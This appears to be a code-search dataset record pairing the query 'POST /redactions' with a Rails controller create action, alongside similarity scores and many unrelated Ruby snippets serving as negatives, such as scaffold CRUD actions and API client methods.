"def destroy\n @redaction.destroy\n respond_to do |format|\n format.html { redirect_to redactions_url, notice: 'Redaction was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @redaction.destroy\n respond_to do |format|\n format.html { redirect_to redactions_url, notice: 'Redaction was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def issue_reactions(repo, number, options = {})\n options = ensure_api_media_type(:reactions, options)\n get \"#{Repository.path repo}/issues/#{number}/reactions\", options\n end",
"def create\n @redaction = Redaction.new(redaction_params)\n\n respond_to do |format|\n if @redaction.save\n format.html { redirect_to @redaction, notice: 'Redaction was successfully created.' }\n format.json { render :show, status: :created, location: @redaction }\n else\n format.html { render :new }\n format.json { render json: @redaction.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @redaction = Redaction.new(redaction_params)\n\n respond_to do |format|\n if @redaction.save\n format.html { redirect_to @redaction, notice: 'Redaction was successfully created.' }\n format.json { render :show, status: :created, location: @redaction }\n else\n format.html { render :new }\n format.json { render json: @redaction.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @redaction.update(redaction_params)\n format.html { redirect_to @redaction, notice: 'Redaction was successfully updated.' }\n format.json { render :show, status: :ok, location: @redaction }\n else\n format.html { render :edit }\n format.json { render json: @redaction.errors, status: :unprocessable_entity }\n end\n end\n end",
"def list\n List.from_response client.get(\"/actions/#{action_id}/list\")\n end",
"def actions\n return @actions if @actions\n @actions = Client.get(\"/organizations/#{id}/actions\").json_into(Action)\n end",
"def index\n @red_flags = RedFlag.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @red_flags }\n end\n end",
"def index\n recipes = current_user.recipes\n render json: { recipes: recipes}.to_json, status: :ok\n end",
"def index\n @factions = Faction.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @factions }\n end\n end",
"def index\n @tredit_actions = TreditAction.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @tredit_actions }\n end\n end",
"def index\n recipes = Recipe.all\n render status: :ok, json: recipes\n end",
"def index\n @redacaos = Redacao.all\n end",
"def actions\n client.actions\n end",
"def listRestaurants\n _restaurants = Restaurant.all\n render json: _restaurants\n end",
"def list\n @colors = Admin::Color.all\n\n render json: { colors: @colors }\n end",
"def index\n @recipes = Recipe.all\n render json: @recipes\n end",
"def show_reactions\n if @reactor\n @reactor.list_reactions\n else\n \"Reactor is nil\"\n end\n end",
"def actions\n return @actions if @actions\n @actions = Client.get(\"/boards/#{id}/actions\").json_into(Action)\n end",
"def index\n @reward_categories = RewardCategory.all\n respond_with(@reward_categories) do |format|\n format.json { render :json => @reward_categories.as_json }\n end\n end",
"def show\n @tredit_action = TreditAction.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tredit_action }\n end\n end",
"def show\n @tredit_action = TreditAction.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tredit_action }\n end\n end",
"def show\n @redpack = Redpack.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @redpack }\n end\n end",
"def index\n recipe_items = current_user.recipes.includes(recipe_items: :ingredient).find(params[:recipe_id]).recipe_items\n render json: { recipe_items: recipe_items}.to_json(include: :ingredient), status: :ok\n end",
"def show\n @red_flag = RedFlag.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @red_flag }\n end\n end",
"def index\n @relationships = Relationship.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @relationships }\n end\n end",
"def issue_comment_reactions(repo, id, options = {})\n options = ensure_api_media_type(:reactions, options)\n get \"#{Repository.path repo}/issues/comments/#{id}/reactions\", options\n end",
"def index\n @goal_rewards = user.goal_rewards\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @goal_rewards }\n end\n end",
"def show\n @reconcile = Reconcile.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @reconcile }\n end\n end",
"def index\n @replies = Reply.all\n\n render json: @replies\n end",
"def index\n @replies = Reply.all\n\n render json: @replies\n end",
"def index\n @requisitions = Requisition.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @requisitions }\n end\n end",
"def index\n # byebug\n if current_user\n recipes = Recipe.all \n render json: recipes\n else \n render json: { errors: [\"Not Authorized\"] }, status: :unauthorized\n end\n end",
"def index\n @recipes = Recipe.all\n respond_to do |format|\n format.html {}\n format.json { render json: @recipes }\n end\n end",
"def recipes # /v1/user/:id/recipes (GET)\n recipes = ::Recipe.all\n render json: recipes, :each_serializer => RecipeSmallSerializer, root: false, status: 200\n end",
"def index\n @node = Fedora.rest('rest/')\n end",
"def recent_foods\n get(\"/user/#{@user_id}/foods/log/recent.json\")\n end",
"def index\n @pledges = Pledge.where('user_id = ?', current_user.id)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pledges }\n end\n end",
"def show\n @retweet = Retweet.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @retweet }\n end\n end",
"def retractions\n retract.find('ns:item', :ns => self.class.registered_ns).map do |i|\n i[:id]\n end\n end",
"def favorite_foods\n get(\"/user/#{@user_id}/foods/log/favorite.json\")\n end",
"def index\n reviews = Review.all\n render json: reviews\n end",
"def index\n reviews = Review.all\n render json: reviews\n end",
"def get_redemption_request_actions\r\n\r\n # prepare query url\r\n _query_builder = Configuration.base_uri.dup\r\n _query_builder << '/utilities/redemption-request-actions'\r\n _query_url = APIHelper.clean_url _query_builder\r\n\r\n # prepare headers\r\n _headers = {\r\n 'accept' => 'application/json',\r\n 'Content-Type' => Configuration.content_type\r\n }\r\n\r\n # prepare and execute HttpRequest\r\n _request = @http_client.get _query_url, headers: _headers\r\n CustomHeaderAuth.apply(_request)\r\n _context = execute_request(_request)\r\n validate_response(_context)\r\n\r\n # return appropriate response type\r\n decoded = APIHelper.json_deserialize(_context.response.raw_body) if not (_context.response.raw_body.nil? or _context.response.raw_body.to_s.strip.empty?)\r\n return decoded\r\n end",
"def index\n\t\t@recipes = Recipe.where(user_id: session[:user_id])\n\t\tif @recipes\n\t\t\trender json: @recipes.to_json(:include => [:inventories])\n\t\telse\n\t\t\tflash[:error] = \"You haven't saved any recipes yet! Search now :)\"\n\t\t\trender status: 400, nothing: true\n\t\tend\n\tend",
"def show\n @attraction = Attraction.find(params[:id])\n\n respond_to do |format|\n format.html\n format.json { render json: @attraction }\n end\n end",
"def show\n @roof = Roof.find(params[:roof_id])\n @status = @roof.statuses.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @status }\n end\n end",
"def list\n \n recipes = Recipe.all\n render :json => recipes.to_json\n\n end",
"def index\n @rents = Rent.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @rents }\n end\n end",
"def destroy\n @red.destroy\n respond_to do |format|\n format.html { redirect_to reds_url }\n format.json { head :no_content }\n end\n end",
"def index\n @refactors = @snippet ? @snippet.refactors : Refactor.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @refactors }\n end\n end",
"def get_favourite_restaurants\n @profile = Profile.find(params[:id])\n @restaurants = @profile.favourites\n\n render status: 200, json: @restaurants\n end",
"def index\n @recipes = Recipe.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @recipes }\n end\n end",
"def index\n @action_names = ActionName.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @action_names }\n end\n end",
"def show\n @reward_collection = RewardCollection.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @reward_collection }\n end\n end",
"def show\n @color = Color.find(params[:id])\n @members = Member.find(:all, :conditions => [\"color_id = ? and deleted = 0\", params[:id]])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @color }\n end\n end",
"def show\n head :forbidden\n\n # @action = Action.find(params[:id])\n\n # render json: @action\n end",
"def destroy\n @red.destroy\n respond_to do |format|\n format.html { redirect_to reds_url, notice: 'Red was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def index\n @reward_and_levels = RewardAndLevel.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @reward_and_levels }\n end\n end",
"def index\n @rentable_items = RentableItem.all\n render json: @rentable_items\n end",
"def pull_request_review_comment_reactions(repo, id, options = {})\n options = ensure_api_media_type(:reactions, options)\n get \"#{Repository.path repo}/pulls/comments/#{id}/reactions\", options\n end",
"def index\n @references = Reference.all\n\n render json: @references\n end",
"def index\n @refund_requests = RefundRequest.order 'created_at DESC'\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @refund_requests }\n end\n end",
"def index\n @recruiters = Recruiter.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @recruiters }\n end\n end",
"def show\n @referee = Referee.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @referee }\n end\n end",
"def index\n json_response(Restaurant.all)\n end",
"def test_redact_way_is_redacted\n way = create(:way, :with_history, :version => 4)\n way_v3 = way.old_ways.find_by(:version => 3)\n basic_authorization create(:moderator_user).email, \"test\"\n\n do_redact_way(way_v3, create(:redaction))\n assert_response :success, \"should be OK to redact old version as moderator.\"\n\n # re-auth as non-moderator\n basic_authorization create(:user).email, \"test\"\n\n # check can't see the redacted data\n get :version, :params => { :id => way_v3.way_id, :version => way_v3.version }\n assert_response :forbidden, \"Redacted node shouldn't be visible via the version API.\"\n\n # and when accessed via history\n get :history, :params => { :id => way_v3.way_id }\n assert_response :success, \"Redaction shouldn't have stopped history working.\"\n assert_select \"osm way[id='#{way_v3.way_id}'][version='#{way_v3.version}']\", 0, \"redacted way #{way_v3.way_id} version #{way_v3.version} shouldn't be present in the history.\"\n end",
"def show\n @data = @recipe.read(params[:id])\n render json: @data\n end",
"def index\n @restaurants = Restaurant.all\n # render json: @restaurants\n end",
"def index\n json_response(current_restaurant.restaurant_food_items)\n end",
"def index\n info = Aws.get_recipes_from_db\n render :json => info\n end",
"def index\n @adverse_reaction_types = AdverseReactionType.all\n end",
"def show\n response = Aws.list_recipe(params[:id])\n render :json => response\n end",
"def index\n @excuses = Excuse.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @excuses }\n end\n end",
"def index\n @reduxes = Redux.all\n end",
"def index\n @reform_colors = ReformColor.all.with_reforms\n end",
"def show\n @actore = Actore.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @actore }\n end\n end",
"def show\n render json: { comment: @comment, replaies: @comment.replaies }, status: :ok\n end",
"def get_actions\n get_document.get_actions_yaml\n end",
"def show\n @action_name = ActionName.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @action_name }\n end\n end",
"def index\n @disabilities = Disability.sorted\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @disabilities }\n end\n end",
"def index\n session[:admin] = true\n @badges = Badge.order('approved_at desc,id')\n @fri_count = Badge.select { |b| b.friday? }.size\n @sat_count = Badge.select { |b| b.saturday? }.size\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @badges }\n end\n end",
"def get_todo_restaurants\n @profile = Profile.find(params[:id])\n @restaurants = @profile.todos\n\n render status: 200, json: @restaurants\n end",
"def index\n @resources = Resource.where(\"is_approved = true\")\n render json: @resources, status: 200\n end",
"def index\n @petty_cash_expenses = PettyCashExpense.all\n render json: @petty_cash_expenses\n end",
"def index\n author = Author.find(params[:author_id])\n @reviews = author.reviews\n render json: @reviews\n end",
"def index\n @referees = Referee.all\n end",
"def index\n render json: Recipe.all\n end",
"def index\n @my_actions = MyAction.all\n end",
"def show\n @green = Green.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @green }\n end\n end"
] |
[
"0.7202297",
"0.61949617",
"0.5980639",
"0.58778965",
"0.58778965",
"0.58481085",
"0.58251786",
"0.58146876",
"0.58146876",
"0.58027613",
"0.58027613",
"0.5789534",
"0.57740736",
"0.57740736",
"0.577105",
"0.577024",
"0.5743215",
"0.56627387",
"0.5620643",
"0.55705196",
"0.5568268",
"0.55327404",
"0.5498677",
"0.54767036",
"0.5439809",
"0.53666407",
"0.5363726",
"0.53567666",
"0.53472555",
"0.53376734",
"0.53208953",
"0.53208953",
"0.5320671",
"0.5317722",
"0.52917516",
"0.5288443",
"0.52825767",
"0.5278787",
"0.52766925",
"0.526468",
"0.526468",
"0.5256197",
"0.5255135",
"0.5248989",
"0.5241547",
"0.52358156",
"0.523114",
"0.52253944",
"0.52249616",
"0.52243507",
"0.5201314",
"0.519824",
"0.519824",
"0.5188638",
"0.51842535",
"0.5183634",
"0.51823866",
"0.5179384",
"0.5177522",
"0.5169115",
"0.51664364",
"0.5155658",
"0.51496595",
"0.5146733",
"0.51351064",
"0.51350796",
"0.5133173",
"0.51248705",
"0.511717",
"0.5113695",
"0.51106644",
"0.5101438",
"0.50989795",
"0.5086858",
"0.5084566",
"0.5083188",
"0.5078117",
"0.50772494",
"0.50771916",
"0.5076683",
"0.50719887",
"0.5070021",
"0.506734",
"0.5064238",
"0.5058006",
"0.5049624",
"0.50428313",
"0.50425154",
"0.5035553",
"0.5032277",
"0.50283235",
"0.50280595",
"0.5021727",
"0.50167304",
"0.50130904",
"0.50129133",
"0.5010435",
"0.5007346",
"0.49976292",
"0.49945754"
] |
0.62964946
|
1
|
POST /redactions POST /redactions.json
|
def create
@redaction = Redaction.new(redaction_params)
respond_to do |format|
if @redaction.save
format.html { redirect_to @redaction, notice: 'Redaction was successfully created.' }
format.json { render :show, status: :created, location: @redaction }
else
format.html { render :new }
format.json { render json: @redaction.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def create\n @red = Red.new(red_params)\n\n respond_to do |format|\n if @red.save\n format.html { redirect_to request.referrer, notice: 'Red was successfully created.' }\n format.json { render :show, status: :created, location: @red }\n else\n format.html { render :new }\n format.json { render json: @red.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @red = Red.new(red_params)\n\n respond_to do |format|\n if @red.save\n format.html { redirect_to reds_path, notice: \"La red #{@red.nombre} ha sido creada.\" }\n format.json { render action: 'show', status: :created, location: @red }\n else\n format.html { render action: 'new' }\n format.json { render json: @red.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @reaction = current_user.reactions.build(reaction_params)\n\n respond_to do |format|\n if @reaction.save\n flash[:success] = 'Nice!'\n format.html { redirect_to reactions_url }\n format.json { render :show, status: :created, location: @reaction }\n else\n format.html { render :new }\n format.json { render json: @reaction.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @redactions = Redaction.all\n end",
"def set_redaction\n @redaction = Redaction.find(params[:id])\n end",
"def set_redaction\n @redaction = Redaction.find(params[:id])\n end",
"def update\n respond_to do |format|\n if @redaction.update(redaction_params)\n format.html { redirect_to @redaction, notice: 'Redaction was successfully updated.' }\n format.json { render :show, status: :ok, location: @redaction }\n else\n format.html { render :edit }\n format.json { render json: @redaction.errors, status: :unprocessable_entity }\n end\n end\n end",
"def redaction_params\n params.require(:redaction).permit(:picture, :howreceive, :redaction_title)\n end",
"def destroy\n @redaction.destroy\n respond_to do |format|\n format.html { redirect_to redactions_url, notice: 'Redaction was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @redaction.destroy\n respond_to do |format|\n format.html { redirect_to redactions_url, notice: 'Redaction was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def create\n @redacao = Redacao.new(redacao_params)\n\n respond_to do |format|\n if @redacao.save\n format.html { redirect_to @redacao, notice: 'Redacao was successfully created.' }\n format.json { render action: 'show', status: :created, location: @redacao }\n else\n format.html { render action: 'new' }\n format.json { render json: @redacao.errors, status: :unprocessable_entity }\n end\n end\n end",
"def post(action, **args); end",
"def api_post(action, data)\n api_request(action, data, 'POST')\n end",
"def create\n @remedy_action = RemedyAction.new(remedy_action_params)\n\n respond_to do |format|\n if @remedy_action.save\n format.html { redirect_to @remedy_action, notice: 'Remedy action was successfully created.' }\n format.json { render :show, status: :created, location: @remedy_action }\n else\n format.html { render :new }\n format.json { render json: @remedy_action.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n authorize! :create, :repost\n @fun.repost_by current_user\n Stat.recount @fun.user, :reposts\n render json: { success: true }\n end",
"def post_route(payload)\n with_rescue do\n payload = payload.to_json if payload.is_a?(Hash)\n connection.post do |request|\n request.url routes_path\n request.body = payload\n request.headers['Content-Type'] = 'application/json'\n end\n end\n end",
"def redactions(options = {})\r\n []\r\n end",
"def post_webhook\n HTTParty.post(\n \"https://api.trello.com/1/tokens/#{user.token}/webhooks/?key=#{ENV['TRELLO_KEY']}\",\n query: {\n description: \"Sprint webhook user#{user.id}\",\n callbackURL: \"#{ENV['BASE_URL']}webhooks\",\n idModel: trello_ext_id\n },\n headers: { \"Content-Type\" => \"application/json\" }\n )\n end",
"def create \n @reaction = current_user.reactions.build(reaction_params)\n if @reaction.save\n redirect_to reaction_path(@reaction)\n else\n render :new\n # flash[:error] = \"sorry, didnt save\"\n end\n end",
"def create\n @recipe = Recipe.new(recipe_params)\n @recipe.uuid = SecureRandom.uuid\n respond_to do |format|\n if @recipe.save\n format.html { redirect_to @recipe.objective}\n format.json { render :show, status: :created, location: @recipe.objective }\n else\n format.html { render :new }\n format.json { render json: @recipe.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n\t\treview = Review.create(:user_id=>params[:review][:user_id], :note_id=>params[:review][:note_id], :status=>params[:review][:status])\n\t\treview.save!\n\n render json: []\n\tend",
"def post\n resource.post(request, response)\n end",
"def post payload, path = \"\" \n make_request(path, \"post\", payload)\n end",
"def post\n Rentlinx.client.post(self)\n end",
"def post()\n # construct arguments to fetch\n args = {\n method: 'post',\n credentials: 'include',\n headers: {'Content-Type' => 'application/json'},\n body: {\n project: @ppmc.id,\n ids: @ppmc.mentors.join(','),\n action: 'add',\n targets: ['ldap', 'ppmc', 'committer']\n }.inspect\n }\n\n @disabled = true\n Polyfill.require(%w(Promise fetch)) do\n @create_disabled = true\n fetch(\"actions/ppmc\", args).then {|response|\n content_type = response.headers.get('content-type') || ''\n if response.status == 200 and content_type.include? 'json'\n response.json().then do |json|\n self.update(json)\n end\n else\n alert \"#{response.status} #{response.statusText}\"\n end\n @create_disabled = false\n }.catch {|error|\n alert error\n @create_disabled = false\n }\n end\n end",
"def create\n @redpack = Redpack.new(params[:redpack])\n\n respond_to do |format|\n if @redpack.save\n format.html { redirect_to @redpack, notice: 'Redpack was successfully created.' }\n format.json { render json: @redpack, status: :created, location: @redpack }\n else\n format.html { render action: \"new\" }\n format.json { render json: @redpack.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @rescue_action_area.rescuers << Rescuer.find(params[:rescue_action_area_rescuer][:rescuer])\n\n respond_to do |format|\n if @rescue_action_area.save\n format.html { redirect_to rescue_action_area_rescuers_url(@rescue_action, @rescue_action_area), notice: 'Rescue action area rescuer was successfully created.' }\n format.json { render :show, status: :created, location: @rescue_action_area_rescuer }\n else\n format.html { render :new }\n format.json { render json: @rescue_action_area_rescuer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @retweet = Retweet.new(params[:retweet])\n\n respond_to do |format|\n if @retweet.save\n format.html { redirect_to @retweet, notice: 'Retweet was successfully created.' }\n format.json { render json: @retweet, status: :created, location: @retweet }\n else\n format.html { render action: \"new\" }\n format.json { render json: @retweet.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @resto = Resto.new(resto_params)\n\n respond_to do |format|\n if @resto.save\n format.html { redirect_to @resto, notice: 'Entry was successfully created.' }\n format.json { render :show, status: :created, location: @resto }\n else\n format.html { render :new }\n format.json { render json: @resto.errors, status: :unprocessable_entity }\n end\n end\n end",
"def post(action, params={}, options={})\n request(:post, action, params, options)\n end",
"def create\n respond_to do |format|\n require 'rest-client'\n response = RestClient.post('localhost:3001/colores/', color_params.as_json, {:Authorization => 'admin irizREhyoG6Ejwr4AcjsQME9'})\n if response.code == 200\n @color = JSON.parse(response.body)\n format.html { redirect_to @color, notice: \"Color was successfully created.\" }\n format.json { render :show, status: :created, location: @color }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @color.errors, status: :unprocessable_entity }\n end\n end\n end",
"def post\r\n end",
"def create\n @tredit_action = TreditAction.new(params[:tredit_action])\n\n respond_to do |format|\n if @tredit_action.save\n format.html { redirect_to @tredit_action, notice: 'Tredit action was successfully created.' }\n format.json { render json: @tredit_action, status: :created, location: @tredit_action }\n else\n format.html { render action: \"new\" }\n format.json { render json: @tredit_action.errors, status: :unprocessable_entity }\n end\n end\n end",
"def reaction_params\n params.require(:reaction).permit(:text, :title, :url)\n end",
"def POST; end",
"def modify_relationship action\n File.open(@user_id_list, 'r') do |file|\n file.each do |user_id|\n url = API + \"users/#{user_id.gsub(/(\\n|,)$/, \"\")}/relationship?access_token=\" + @access_token\n response = RestClient.post(url, access_token: @access_token, action: action)\n sleep(rand(3..6))\n\n puts response.code == 200 ? \"Successfully #{action}: #{user_id}\" : response\n end\n end\n end",
"def post(payload = {})\n request! do\n api[url.path].post(to_payload(payload), API_HEADERS)\n end\n end",
"def on_post(resource_uri, opts) # resource_uri = Nodes\n debug \"on_post: #{resource_uri}\"\n resource = update_resource(resource_uri, false, opts)\n show_resource(resource, opts)\n end",
"def create\n @redux = Redux.new(redux_params)\n\n respond_to do |format|\n if @redux.save\n format.html { redirect_to @redux, notice: 'Redux was successfully created.' }\n format.json { render :show, status: :created, location: @redux }\n else\n format.html { render :new }\n format.json { render json: @redux.errors, status: :unprocessable_entity }\n end\n end\n end",
"def collection_post_action(action)\n action = action.to_s.gsub('bulk_', '').to_sym\n\n raise 'expected post, patch or put http action' unless (request.post? || request.patch? || request.put?)\n raise \"expected #{resource_name} to respond to #{action}!\" if resources.to_a.present? && !resources.first.respond_to?(\"#{action}!\")\n\n successes = 0\n\n ActiveRecord::Base.transaction do\n successes = resources.select do |resource|\n begin\n resource.public_send(\"#{action}!\") if EffectiveResources.authorized?(self, action, resource)\n rescue => e\n false\n end\n end.length\n end\n\n render json: { status: 200, message: \"Successfully #{action_verb(action)} #{successes} / #{resources.length} selected #{resource_plural_name}\" }\n end",
"def create\n @red_flag = RedFlag.new(params[:red_flag])\n\n respond_to do |format|\n if @red_flag.save\n format.html { redirect_to @red_flag, notice: 'Red flag was successfully created.' }\n format.json { render json: @red_flag, status: :created, location: @red_flag }\n else\n format.html { render action: \"new\" }\n format.json { render json: @red_flag.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @respuesta = Respuesta.new(params[:respuesta])\n\n if @respuesta.save\n render json: @respuesta, status: :created, location: @respuesta\n else\n render json: @respuesta.errors, status: :unprocessable_entity\n end\n end",
"def post(url, query = {}, payload = {})\n restclient({\n method: :post,\n url: \"#{@scheme}://#{@host}/#{url}\",\n timeout: Timeout,\n open_timeout: OpenTimeout,\n payload: payload.to_json,\n headers: {\n authorization: @auth,\n content_type: :json,\n accept: :json,\n params: query\n }\n })\n end",
"def index\n @remedy_actions = RemedyAction.all\n end",
"def create\n if @user.hearts >= @reward.cost\n @redemption = Redemption.new()\n @redemption.user = @user\n @redemption.cost = @reward.cost\n @redemption.reward = @reward\n\n if @reward.ifttt?\n key = ENV[\"IFTTT_KEY\"]\n\turl = \"https://maker.ifttt.com/trigger/#{@user.account}#{@reward.event}/with/key/#{key}\"\n\tresponse = RestClient.get url\n\n\trespond_to do |format|\n\t if response.code == 200 && @redemption.save\n @user.hearts = @user.hearts - @reward.cost\n @user.save!\n\n format.json { render json: @redemption.as_json(include: {reward: {only: :name}}).merge({hearts: @user.hearts}), status: :created }\n else\n format.json { render json: nil, status: :not_acceptable }\n end\n end\n elsif @reward.cash?\n \trespond_to do |format|\n if @redemption.save\n @user.hearts = @user.hearts - @reward.cost\n\t @user.save!\n\t SmsMailer.sms_email(Admin.all.first).deliver\n\n\t format.json { render json: @redemption.as_json(include: {reward: {only: :name}}).merge({hearts: @user.hearts}), status: :created }\n\t else\n\t format.json { render json: nil, status: :not_acceptable }\n\t end\n\tend\n end\n else\n respond_to do |format|\n format.json { render json: {message: \"Not enough hearts!\"}, status: :not_acceptable }\n end\n end\n end",
"def post(path, payload={})\n request(:post, path, payload)\n end",
"def create\n @raffle = Raffle.new(raffle_params)\n @raffle.update(user_id: current_user.id)\n respond_to do |format|\n if @raffle.save\n status = 'Participa en la rifa ' + @raffle.name + '. Para visitarla ingresa a https://rifapp-web.herokuapp.com/raffles/' + @raffle.id.to_s\n access_token = prepare_access_token(ENV[\"TWITTER_ACCESS_TOKEN\"], ENV[\"TWITTER_ACCESS_TOKEN_SECRET\"])\n url = '/1.1/statuses/update.json?status=' + URI::escape(status)\n response = access_token.post(url)\n puts response\n #url = 'graph.facebook.com/v2.9/100019068038209/feed?message=' + URI::escape(status) + '&access_token=' + ENV[\"FB_ACCESS_TOKEN\"]\n #RestClient.post url, {}\n format.html { redirect_to created_user_path(current_user.id), notice: 'Raffle was successfully created.' }\n format.json { render :show, status: :created, location: @raffle }\n else\n format.html { render :new }\n format.json { render json: @raffle.errors, status: :unprocessable_entity }\n end\n end\n end",
"def repost\n success = @report.repost_by!(auth_user, params[:report] )\n respond_to do|format|\n format.json { render json: { report: @report, success: success } }\n format.html { redirect_back(action: 'index') }\n end\n end",
"def post\n end",
"def destroy\n @red.destroy\n respond_to do |format|\n format.html { redirect_to reds_url }\n format.json { head :no_content }\n end\n end",
"def update_redactor\n RedactorUpload.update_redactors(self.redactor_to_update,self.redactor_to_delete)\n end",
"def post(json)\n with_endpoint do |endpoint|\n url = [endpoint, @resource_name].compact.join('/')\n url += \"/\"\n return HTTParty.post(url, :body => json, :timeout => 4, :headers => { 'Content-Type' => 'application/json' })\n end\n end",
"def create\n @rum = Rum.new(params[:rum])\n\n respond_to do |format|\n if @rum.save\n format.html { redirect_to @rum, notice: 'Rum was successfully created.' }\n format.json { render json: @rum, status: :created, location: @rum }\n else\n format.html { render action: \"new\" }\n format.json { render json: @rum.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @fred = Fred.new(params[:fred])\n @fred.user = current_user\n\n respond_to do |format|\n if @fred.save\n format.html { redirect_to @fred, notice: t(:thread_created) }\n format.json { render json: @fred, status: :created, location: @fred }\n else\n format.html { render action: \"new\" }\n format.json { render json: @fred.errors, status: :unprocessable_entity }\n end\n end\n end",
"def post(*args)\n request(:post, *args)\n end",
"def create\n # Get the variables passed in from params on create\n @expense = Expense.new(expense_params)\n\n if @expense.save\n render json: @expense, status: :created, location: @expense\n else\n render json: @expense.errors, status: :unprocessable_entity\n end\n end",
"def destroy\n @red.destroy\n respond_to do |format|\n format.html { redirect_to reds_url, notice: 'Red was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def redaction_params\n params.require(:redaction).permit(:h, :w, :axis)\n end",
"def post_incident(payload)\n begin\n payload_json = JSON.dump(payload)\n resp = pagerduty.incidents_api.post(payload_json, :content_type => :json)\n answer = JSON.parse(resp, :symbolize_names => true)\n log.debug(\"POST to incidents, payload=#{payload.inspect}, response=#{answer}\")\n answer\n rescue Exception => e\n log.error(\"Failed to post to incident API: #{payload.inspect}.\"+\n \"\\nError: #{e.message}\")\n raise RuntimeError.new(\"Problem talking to PagerDuty incidents:\"+\n \" #{e.message}\\nRequest was #{payload.inspect}\")\n end\n end",
"def create\n @tredit_action = TreditAction.new(tredit_action_params)#)#params[:tredit_action])\n\n respond_to do |format|\n if @tredit_action.save\n format.html { redirect_to @tredit_action, notice: 'Tredit action was successfully created.' }\n format.json { render json: @tredit_action, status: :created, location: @tredit_action }\n else\n format.html { render action: \"new\" }\n format.json { render json: @tredit_action.errors, status: :unprocessable_entity }\n end\n end\n end",
"def post\n begin\n charge = Stripe::Charge.create({\n amount: params[:amount],\n currency: 'sgd',\n customer: params[:customer_id],\n source: params[:card_id]\n })\n\n json_response(charge, :created)\n\n rescue Stripe::InvalidRequestError => exception\n response = Hash.new\n response[:error] = exception.message\n\n json_response(response, :bad_request)\n end\n end",
"def create\n @refund = Refund.new(params[:refund])\n\n respond_to do |format|\n if @refund.save\n format.html { redirect_to @refund, notice: 'Refund was successfully created.' }\n format.json { render json: @refund, status: :created, location: @refund }\n else\n format.html { render action: \"new\" }\n format.json { render json: @refund.errors, status: :unprocessable_entity }\n end\n end\n end",
"def red_params\n params.require(:red).permit(:danceability, :energy, :loudness, :mode, :valence, :tempo, :user_id)\n end",
"def post(*args)\n request :post, *args\n end",
"def post_with_curl\n url = @settings.webhook_url\n `curl -is -X POST -H \"Content-Type:application/json\" -d '#{get_body}' '#{url}'`\n end",
"def index\n @user_actions = UserAction.all\n render json: @user_actions\n end",
"def post\n Typhoeus.post(@url,\n body: @results_hash.to_json,\n headers: { 'Content-Type' => 'application/json' })\n end",
"def post; end",
"def handle_post\n make_response(201, {message: 'New resource created'})\nend",
"def create\n @adverse_reaction_type = AdverseReactionType.new(adverse_reaction_type_params)\n\n respond_to do |format|\n if @adverse_reaction_type.save\n format.html { redirect_to @adverse_reaction_type, notice: 'Adverse reaction type was successfully created.' }\n format.json { render :show, status: :created, location: @adverse_reaction_type }\n else\n format.html { render :new }\n format.json { render json: @adverse_reaction_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @redaction = Redaction.all.order('id DESC').paginate(page: params[:page], per_page: 50)\n end",
